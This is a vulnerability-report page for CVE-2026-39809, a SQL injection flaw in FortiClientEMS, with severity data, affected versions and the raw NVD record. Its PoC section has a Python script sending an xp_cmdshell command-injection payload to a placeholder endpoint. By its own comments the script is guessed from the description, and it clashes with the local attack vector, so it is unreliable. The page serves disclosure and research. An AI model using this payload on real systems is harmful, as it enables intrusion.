Security Vulnerability Report
中文
CVE-2026-39809 CVSS 6.7 MEDIUM

CVE-2026-39809

Published: 2026-04-14 16:16:45
Last Modified: 2026-04-21 17:02:54

Description

A improper neutralization of special elements used in an sql command ('sql injection') vulnerability in Fortinet FortiClientEMS 7.4.0 through 7.4.5, FortiClientEMS 7.2.0 through 7.2.12, FortiClientEMS 7.0 all versions may allow attacker to execute unauthorized code or commands via sending crafted requests

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:forticlientems:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:forticlientems:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:forticlientems:*:*:*:*:*:*:*:* - VULNERABLE
FortiClientEMS 7.4.0 - 7.4.5
FortiClientEMS 7.2.0 - 7.2.12
FortiClientEMS 7.0 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Placeholder for the vulnerable endpoint) # This PoC demonstrates a potential SQL Injection payload based on the vulnerability description. target_url = "https://<target-ip>:<port>/api/vulnerable_endpoint" # SQL Injection payload attempting to execute unauthorized commands # Using stacked queries if the database backend supports it (e.g., MSSQL, PostgreSQL) payload = { "id": "1'; EXEC xp_cmdshell('whoami');--" } headers = { "User-Agent": "CVE-2026-39809-Scanner", "Content-Type": "application/x-www-form-urlencoded" } try: # Sending the crafted request to the target response = requests.post(target_url, data=payload, headers=headers, verify=False, timeout=10) # Analyzing the response if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the response below for potential command execution output or SQL errors:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39809", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:45.017", "lastModified": "2026-04-21T17:02:54.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A improper neutralization of special elements used in an sql command ('sql injection') vulnerability in Fortinet FortiClientEMS 7.4.0 through 7.4.5, FortiClientEMS 7.2.0 through 7.2.12, FortiClientEMS 7.0 all versions may allow attacker to execute unauthorized code or commands via sending crafted requests"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:forticlientems:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndIncluding": "7.0.13", "matchCriteriaId": "91D4223F-37D4-45D7-A767-2AA8EDAC9AEC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:forticlientems:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.0", "versionEndExcluding": "7.2.13", "matchCriteriaId": "6829FECD-54D2-42D1-B2F8-B34B3913FC51"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:forticlientems:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.6", "matchCriteriaId": "7FF067FF-526C-4399-8220-E2978445F005"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-102", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}